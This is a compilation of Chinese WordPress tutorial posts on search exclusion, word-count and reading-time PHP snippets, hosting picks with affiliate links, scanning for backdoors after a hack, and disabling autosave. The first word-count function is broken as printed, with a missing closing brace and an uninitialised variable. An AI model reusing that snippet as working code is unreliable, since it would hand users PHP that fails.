以下是安装WordPress插件的方法 ▼

如何安装WordPress插件?3种安装WordPress插件方法

WordPress的强大之处,可以通过安装WordPress插件的方式,来扩展各种丰富功能,比如:SEO、电子商务功能等等。安装WordPress插件的方法,类似于安装WordPress主题。安装WordPress插件新……

WordPress站内搜索不显示指定的文章

只要选中这个“Exclude from Search Results”选项,该文章就不会再出现在网站的站内搜索结果中。

当你在WordPress前台站内搜索时,你会发现你找不到被排除的文章 ▼

wordpress_search_excludes_specified_articles_002

在Search Exclude插件的管理界面中,你可以查看所有已排除在站内搜索的文章或页面 ▼

wordpress_search_excludes_specified_articles_003

  • 并且,可以批量移除它们。

希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress如何排除指定分类/文章页面在站内搜索结果?》,对您有帮助。

WordPress如何添加文章字数统计和预计阅读时间?(wordpress显示文章列表)

发布于: 2022-11-03

1 一、添加WordPress文章字数统计代码

  • 2 二、为WordPress预计阅读时间
  • 3 三、优化预期阅读时间
  • 4 四、预计阅读时间码优化之前和之后比较
  • 5 (ceil() 函数)是什么?

 

有些新媒体网站的文章开头,有字数统计和该文的预期阅读时间。

  • 我们认为这2个小数据是挺人性化的,对用户是非常有好处的。
  • 这样读者在阅读之前,就可以预估该文的篇幅长度,以及自己大概阅读时间。
  • 今天我们将讨论如何为WordPress添加文章计数统计和预计阅读时间。

what-is-wordpress-4

一、添加WordPress文章字数统计代码

将以下代码添加到主题中的最后几个functions.php文件中 ?> 之前 ▼

//字数统计
function count_words ($text) {
global $post;
if ( '' == $text ) {
$text = $post->post_content;
if (mb_strlen($output, 'UTF-8') < mb_strlen($text, 'UTF-8')) $output .= '本文《' . get_the_title() .'》共' . mb_strlen(preg_replace('/\s/','',html_entity_decode(strip_tags($post->post_content))),'UTF-8') . '个字';
return $output;
}
  • 在测试之后,上面的代码统计数据在中文和英文中没有问题;
  • 并且在Microsoft Word中计算的单词数量完全相同。

二、为WordPress预计阅读时间

将以下代码添加到主题中的最后几个functions.php文件中 ?>

保存之后,你可以在WordPress文章内容的开头自动显示“预计阅读时间x分钟”▼

function lmsim_read_time($content){
$text = trim(strip_tags( get_the_content()));
$text_num = mb_strlen($text, 'UTF-8');
$read_time = ceil($text_num/400);
$content = '<div class="read-time">系统预计阅读时间 <span>' . $read_time . '</span> 分钟</div>' . $content;
return $content;
}
add_filter ( 'the_content', 'lmsim_read_time');
  • 上述代码中第4行的值400,基于百度的“普通人的平均阅读速度(300~500)字/分钟”。
  • 如果你认为400太慢,你可以自己修改它。
  • 你需要一个自定义的风格。你可以对.read-time 在自定义css中的样式。

在测试之后,发现上面代码统计中的单词数有一些错误,这些错误,超出了实际错误

  • A网站统计信息中的单词数为290个字符,Word中的统计信息相同。
  • 与B网站的单词数($ text_num)比实际数字多12个。
  • 这个预期的阅读时间只能出现在文章的开头,因此我们决定将这2个代码组合起来进行优化。

三、优化预期阅读时间

将以下代码添加到主题中的最后几个functions.php文件中 ?> 之前 ▼

//字数和预计阅读时间统计
function count_words_read_time () {
global $post;
$text_num = mb_strlen(preg_replace('/\s/','',html_entity_decode(strip_tags($post->post_content))),'UTF-8');
$read_time = ceil($text_num/400);
$output .= '本文《' . get_the_title() .'》共' . $text_num . '个字,系统预计阅读时间或需' . $read_time . '分钟。';
return $output;
}
  • 其中,400或更高是读取速度并且可以修改。
  • 如果你只需要输出阅读时间或文章字数,你只需要修改和删除第6行中的一些行。
  • 请自己动手DIY。

然后,将调用统计代码添加到single.php文件中的适当位置。

<?php echo count_words_read_time(); ?>

四、预计阅读时间码优化之前和之后比较

在我们测试之后,当字数小于或等于400时,即当预计阅读时间小于或等于1分钟时。

但是,如果它超过400,它将是有偏差的。

  • 例如,如果将上述290个字符粘贴3次以达到1160个字符,则第2个点的预计阅读时间将为4分钟,
  • 针对第3个点优化的代码将为3分钟。
  • 所以从数字的角度来看,它是优化代码统计的预计阅读时间更准确。

(ceil() 函数)是什么?

ceil() 函数向上舍入到最接近的整数。

这意味着返回不小于x的下一个整数。

如果x具有小数部分,则ceil() 返回的类型仍然是float,因为float的范围通常大于integer。

例子

  • ceil(0.60),输出 1;
  • ceil(0.4) ,输出 1;
  • ceil(5),输出 5;
  • ceil(5.1),输出 6;
  • ceil (-5.1),输出 -5;
  • ceil(-5.9),输出 -5;

希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress如何添加文章字数统计和预计阅读时间?》,对您有帮助。

TAG:

个人如何选择网站空间?外贸企业公司网站空间多大合适(外贸公司网站怎么设计更好)

发布于: 2022-11-03

1 如何挑选合适的网站空间?

  • 1.1 ① 5000IP以下网站空间配置
  • 1.2 ② 5000~10000IP之间网站空间配置
  • 1.3 ③10000IP~20000IP之间网站空间配置
  • 2 如何购买合适的网站空间/VPS服务器?

不论是个人或外贸企业建站,在刚开始搭建电商网站时,都会想要了解:

  • 公司网站空间一般多大合适?
  • 如何挑选合适容量的网站空间?
  • 外贸企业网站空间多少G合适?
  • 外贸公司网站空间的宽带一般多少合适?
  • 外贸企业网站空间流量多少合适?

如何挑选合适的网站空间?

以下网站空间/VPS服务器配置选择建议,其中硬盘容量,仅供视频内容居多的网站参考。

  • 请根据实际情况,咨询网站空间/VPS服务器供应商。

① 5000IP以下网站空间配置

  • 4核 CPU
  • 4G 内存
  • 100G 硬盘
  • 100M 网络无限流量(硬盘不限,自建片源除外)

② 5000~10000IP之间网站空间配置

  • 8核 CPU
  • 8G内存
  • 200G 硬盘
  • 100M网络无限流量(硬盘不限,自建片源,也应与Web服务器分开)

③10000IP~20000IP之间网站空间配置

  • 8核 CPU
  • 16G 内存
  • 300G 硬盘
  • 100M网络无限流量(对硬盘没有限制,随着流量的提升,数据库和WEB可以分开处理)

购买网站空间/VPS服务器时,必须在自己能承受的价格范围内。

如何购买合适的网站空间/VPS服务器?

WordPress是全世界最流行的建站程序,所以一般是以WordPress建站为主流。

若是外贸企业公司的网站空间,首选推荐BlueHost。

因为BlueHost是WordPress官方推荐的网站空间商 ▼

BlueHost主机怎么样?最新BlueHost美国优惠码/优惠券

BlueHost中文教程:教你如何以优惠价格购买BlueHost美国主机?[su_button url=”https://www.wordpressx.com/go/bluehost” target=”blank” style=”3d” size=”5″ icon=”icon: external-li……

bluehost-buy-tutorial_001-2

要是想要以最便宜的价格域名域名,首选推荐NameSilo ▼

NameSilo域名注册教程(送你 1 美金 NameSilo优惠码)

NameSilo 优惠码:WXR (优惠10%)NameSilo 2022最新注册流程在众多网络营销方法中,最有效果的是SEO。既然做搜索引擎优化,就必须注册域名和建站。不过,在注册域名时,一些不明智……

namesilo_001-4

希望我们网站( https://www.wordpressx.com/ ) 分享的《个人如何选择网站空间?外贸企业公司网站空间多大合适》,对您有帮助。

TAG:

如何扫描网站源码有没有后门文件?在线查找PHP木马漏洞(网站源码检测后门)

发布于: 2022-11-03

1 ?后门是什么意思?

  • 2 ❗️警告有木马后门的插件主题
  • 3 ?如何扫描木马后门程序漏洞?
    • 3.1 ?第一种:使用WordPress安全扫描插件
    • 3.2 ?第二种:使用安全扫描查找PHP漏洞文件在线工具

 

WordPress是全球最多人使用的免费开源建站程序,有很多网络营销人员都用WordPress建站做SEO流量卖广告、卖会员、卖产品、卖服务……

  • 因此WordPress有非常丰富的WordPress插件和主题可以免费下载,同时也有更高级、付费专业版的插件和主题可供选择。

最近我们打算购买某款WordPress插件专业版,就去谷歌搜索了解,无意发现到有网站专门提供WordPress插件和主题的破解版的免费下载。

索性尝试下载来使用,但是感觉不太对劲:为什么这些提供免费下载破解版的网站,完全没有盈利模式,网站上也没有其它广告?

由于网站有被黑过几次,所以使用破解版软件、插件或主题,都是非常小心翼翼地以防万一有“后门”漏洞程序。

以下就是2020年08月31日我们网站网站被黑的截图 ▼

website-hacked-black-shadow

  • Linux服务器被来自印尼的黑客入侵和篡改。
  • 在网站的每个文件夹里都多了个“mm.php”漏洞文件,有可能是使用了不完善的VestaCP 面板造成的。

解决被黑问题,就是直接重装CentOS 7操作系统和改为安装CWP控制面板,然后恢复网站备份 ▼

CWP控制面板如何设置定时自动备份和恢复备份?

上次我的网站被黑已经是几年前的事情(具体哪一年已经忘了)。最近(2020年8月31日)网站服务器被来自印尼的黑客入侵和篡改,有可能是使用了不完善的VestaCP 面板。 解决被黑问题,就……cwp_setup_backup_001

  • 因为之前了解过“宝塔控制面板”被爆安全漏洞,所以最终决定使用CWP控制面板。

?后门是什么意思?

主要来自“特洛伊木马”,后门的意思就是指软件添加了漏洞,就好像开了你家的后门,方便入侵盗取信息。

❗️警告有木马后门的插件主题

以下2个网站提供各大WordPress插件破解版、WordPress主题破解版:

1)WPTRY ▼

点此进入 WPTRY 网站

2)PremiumFreeThemes ▼

点此进入 PremiumFreeThemes 网站

  • 我们非常肯定这2个网站上的软件、插件和主题有后门漏洞,千万不要下载来用,否则后果请自负!

?如何扫描木马后门程序漏洞?

有2种方式可以扫描网站源码有没有后门文件:

  • 第一种:使用WordPress安全扫描插件
  • 第二种:使用在线工具查杀扫描文件

?第一种:使用WordPress安全扫描插件

推荐用此WordPress网站安全扫描插件——Wordfence Security 进行批量扫描WordPress网站上所有主题和插件,检测是否有PHP后门漏洞文件 ▼

点此进入WordPress插件官网免费下载 Wordfence Security 插件

?第二种:使用安全扫描查找PHP漏洞文件在线工具

帮助你分析可疑文件和URL,检测恶意软件的类型的在线工具 ▼

点此进入 安全扫描查找PHP漏洞文件在线工具

希望我们网站( https://www.wordpressx.com/ ) 分享的《如何扫描网站源码有没有后门文件?在线查找PHP木马漏洞》,对您有帮助。

WordPress文章如何禁止自动保存草稿/禁用修订版本?(wordpress关闭自动草稿)

发布于: 2022-11-03

1 WordPress自动保存功能有什么用?

  • 2 WordPress自动保存和自动草稿有何不同?
  • 3 WordPress修订版本功能有何用处?
  • 4 修改WordPress配置文件(方法1 推荐)
    • 4.1 设置WordPress修订版本最多允许几个?
  • 5 禁用WordPress修订版本(方法2)

 

WordPress的自动保存、自动草稿和修订版本功能,一直受到网络营销人员的批评。

不过,WordPress是世界上最受欢迎的网站程序:

  • WordPress功能非常强大;
  • 再加上无限的可扩展性;
  • 所以WordPress在个人和企业客户中,非常受欢迎。

WordPress自动保存功能有什么用?

WordPress自动保存可防止编辑器意外关闭并导致文章内容丢失。

  • 例如,网络突然断开连接,突然断电等等……
  • 编辑文章很困难,并且文章已经消失……
  • 此刻,是非常意外的!

但是,此功能可能会导致数据库膨胀,并无缘无故地添加大量无用的垃圾。

幸运的是,有一个WordPress插件 “Easy WP Cleaner” 可以删除这些垃圾。

问题就在于这种“减肥过程”非常痛苦,本文会分享解决此问题的最好方法。

WordPress自动保存和自动草稿有何不同?

WordPress的另一个非常烦人的功能是自动草稿。

  • 自动草稿与自动保存类似,自动保存就是你撰写文章的时候。
  • 文章会根据时间间隔,自动备份并写入数据库。
  • 单击“写文章”时自动草稿是新的。

即使你退出编辑器,数据也会写入数据库,无论你是否键入数据。

WordPress修订版本功能有何用处?

实际上WordPress的修订版本功能非常有用,用户可以检查更改并执行版本控制。

事情总是有两面性,就像自动保存功能一样,忽略这些变化会给数据库带来不必要的负担。

  • 如果编辑长文章时,写了大段内容,记得手动点击保存。
  • 或是电脑用记事本软件,先编辑好后复制到WordPress编辑里再发布(能有效避免在文章输入数据库的过程中,出现数据丢失的情况)。

修改WordPress配置文件(方法1 推荐)

其实WordPress中有很多隐藏的功能,可以通过在WordPress安装根目录的wp-config.php文件的功能,根据需求进行配置禁用或启用。

不少使用WordPress建站的朋友,都想禁用WordPress自动草稿,而不是自动保存。

以下代码解决了这个问题。

由于WordPress的机制,无法完全禁用自动保存,但你可以通过设置较长的时间间隔,来实现类似的效果,例如 ▼

define( 'AUTOSAVE_INTERVAL', 3600 ); // 默认是 60,3600秒表示自动保存间隔1小时

设置WordPress修订版本最多允许几个?

// WordPress设置自动保存间隔/秒
define('AUTOSAVE_INTERVAL', 3600);
// WordPress设置修订版本最多允许几个
define('WP_POST_REVISIONS', 3);

你可以将以下定义,添加到你的 WordPress 站点的 wp-config.php 文件中 ▼

define( 'AUTOSAVE_INTERVAL', 3600 ); // 3600秒表示自动保存间隔1小时
define( 'EMPTY_TRASH_DAYS', 7 ); // 在 7 天后被删除
define( 'DISABLE_WP_CRON', true ); // 禁用内部Wp-Cron函数
define('WP_POST_REVISIONS', false ); // 禁用文章修订版本
  • 自动草稿在 7 天未使用后会自动删除。
  • 它们基本上是自动功能清理的,无需担心它们。
  • 测试过设置为 define( 'AUTOSAVE_INTERVAL', 86400 ); 自动保存间隔24小时无法生效。
  • 建议设置自动保存间隔为3600(1小时)。

禁用WordPress修订版本(方法2)

如果方法1的禁用文章修订版本无效,需要使用以下WordPress禁用所有文章类型的修订版本的代码。

WordPress文章如何禁止自动保存草稿/禁用修订版本?(wordpress关闭自动草稿)

请在WordPress主题模板文件functions.php中,添加以下禁用文章修订版本代码 ▼

// WordPress禁用所有文章类型的修订版本
add_filter( 'wp_revisions_to_keep', 'cwl_wp_revisions_to_keep', 10, 2 );
function cwl_wp_revisions_to_keep( $num, $post ) { return 0;}

WordPress禁用某种文章类型的修订版本的代码 ▼

// WordPress禁用某种文章类型的修订版本
add_filter( 'wp_revisions_to_keep', 'cwl_wp_revisions_to_keep', 10, 2 );
function cwl_wp_revisions_to_keep( $num, $post ) {
if ( 'post_type' == $post->post_type ) { //引号中post_type改为你想禁用修订版本的文章类型
return 0;
}
return $num;
}

至于WordPress自动草稿,你无法禁用它们,有个重要的原因。

Audrey Capital(Matt Mullenweg 的天使投资公司)的技术忍者 Samuel ‘Otto’ Wood说:

之所以存在自动草稿,是因为多个用户可以同时创建新帖子。如果两个人几乎在同一时间进入 post-new,然后他们的第一次自动保存几乎同时发生,那么就会出现竞争条件,可能导致其中一个人取回错误的帖子 ID,这将导致帖子被覆盖/丢失,当他们继续编辑帖子时。

自动草稿会在显示编辑屏幕之前创建帖子并获取新帖子的 ID,从而防止两个同时作者在浏览器的数据中意外地拥有相同的帖子 ID。

负责 WordPress 的 TinyMCE 集成的 Andrew Ozz说:

这也使得在保存第一个草稿之前上传图像成为可能,并且它们将准确地附加到新帖子中。

对于使用带有古腾堡编辑器的 WordPress 5.0+ 版本的人,下面的代码片段可以禁用自动草稿/保存 ▼

/**
 * 禁用古腾堡编辑器自动保存 (间隔 3600秒)
 */
add_filter( 'block_editor_settings', 'cwl_block_editor_settings', 10, 2 );
function cwl_block_editor_settings( $editor_settings, $post ) {
    $editor_settings['autosaveInterval'] = 3600;
    return $editor_settings;
}

 

希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress文章如何禁止自动保存草稿/禁用修订版本?》,对您有帮助。

WordPress为何无法显示带有google-adsense命名的图片?(wordpress上传图片无法显示)

发布于: 2022-11-03

1 为什么网站无法显示带有google-adsense命名的图片?

  • 2 如何解决网站无法显示带有google-adsense命名的图片?

 

WordPress为何无法显示带有google-adsense命名的图片?

在我们网站发布文章,想要揭露网上合法贷款骗局,首张图片命名中包含“google-ads”,一直无法显示该图片。

picture-cannot-displayed

起初以为是空间商禁止了此类图片名称,就想到在本地电脑上做个测试。

在本地电脑测试后,发现WordPress文章编辑器仍然无法显示带有google-ads命名的图片:

google-ads.jpg
google-adsense.jpg

google-ads.png
google-adsense.png

在前台也无法显示此类图片。

为什么网站无法显示带有google-adsense命名的图片?

多想想为什么,也许就会想到答案。

突然想到,是因为不希望错误点击自己的AdSense广告,索性启用了广告屏蔽插件,不料竟然连带有google-ads命名的图片也自动屏蔽了。

所以为了避免已启用广告屏蔽插件的访客,无法查看显示带有google-ads命名的图片,建议不要以“google-ads”作为图片名称。

如何解决网站无法显示带有google-adsense命名的图片?

不以“google-ads”作为图片名称,重命名为其它名称即可。

例如:将图片重命名为“ggads”或“gg-adsense”。

在此做个记录,以免忘记犯错又浪费时间了。

顺便提醒所有使用WordPress建站的朋友,需要注意避免带有“google-ads”或“google-adsense”之类命名的图片。

扩展阅读:

WordPress外链特色图片插件:Featured Image from URL

WordPress如何添加外链特色图片?Featured Image from URL插件设定虽然用WordPress建站有很多优势,但是在WordPress默认的媒体库,并不是那么好用:上传图片会自动裁剪生成各种尺寸……

featured-image-from-url_1-1

希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress为何无法显示带有google-adsense命名的图片?》,对您有帮助。

TAG列表 wordpress最新最热TG汇集,掌握wordpress热线内容
WP SMTP插件禁用 xmlrpc.phpWooCommercerobots.txt禁止访问WordPress页脚页眉插件wordpress DropboxWordPress tagJetpack插件WordPress自动备份织梦采集侠wordpressWordPress虚拟主机伪静态wordpress常规设置Shortcodes Ultimate插件WordPress自定义页眉BackWPup插件网站添加CDNxmlrpc.php攻击WooCommerce 商店wordpress文章浏览数量统计xmlrpc.php漏洞Redis加速缓存插件Better Search Replace插件安装WordPress插件WordPress违禁词检查wordpress更换域名图标不显示WordPress网站恶意代码WordPress过滤敏感词插件Avada主题wp-json链接修改wordpress登录地址WordPress调试模式WordPress官网制作WordPress菜单自定义图标wordpress感谢页面wordpress表单跳转Mega Menu插件http://www.fandutaoci.cn扒站怎么改wordpress主题谷歌 SEOrobots.txt安全设置Dropbox上传失败Shortcodes UltimateWordfence Security插件WP插件优化head代码隐藏WordPress代码内版本号CWP控制面板转KLOXO-MR什么是 WooCommerceWP安全登录插件推荐wp-json安全设置Footer and Post Injections插件Featured Image From URLWordPress大气的样式wordpress安全防护WordPress显示运行数据库Awesome Supportwordpress漏洞修复WP-No-Tag-Base插件百度熊掌号wp-json漏洞WordPress网站防护WordPress tag模版WordPress滤敏感词过滤插件wordpress描文本wordpress Post Views隐藏WordPress后台登录地址保护robots.txtwordpress cdnwordpress打开是代码WordPress超级菜单namechep续费优惠码CWP开启Redis缓存All In One WP Securitynamechep域名优惠码wp-json优化去除tag标签urlWooCommerce 功能nameCheap最新优惠码WordPress站内搜索排除某些类别的文章critical automatic updatesEasy WP Cleaner插件WordPress外链特色图片Pretty Links Pro插件wordpress小图标不显示WordPress文章描文本wordpress文章卡片样式WooCommerce 定价Image Sizes插件Avada主题演示WordPress网站安全防Rich Snippets结构化数据Jetpack站点加速器CDN图像缓存主机壳WordpressMarkdown here插件WordPress页脚加载JSWordPress广告词检测h5自适应布局WordPress站内搜索排除所有页面WP SMTP插件设置bootstrap自适应布局wp-json防止数据被采集
服务电话:
0533-2765967

微信 13280692153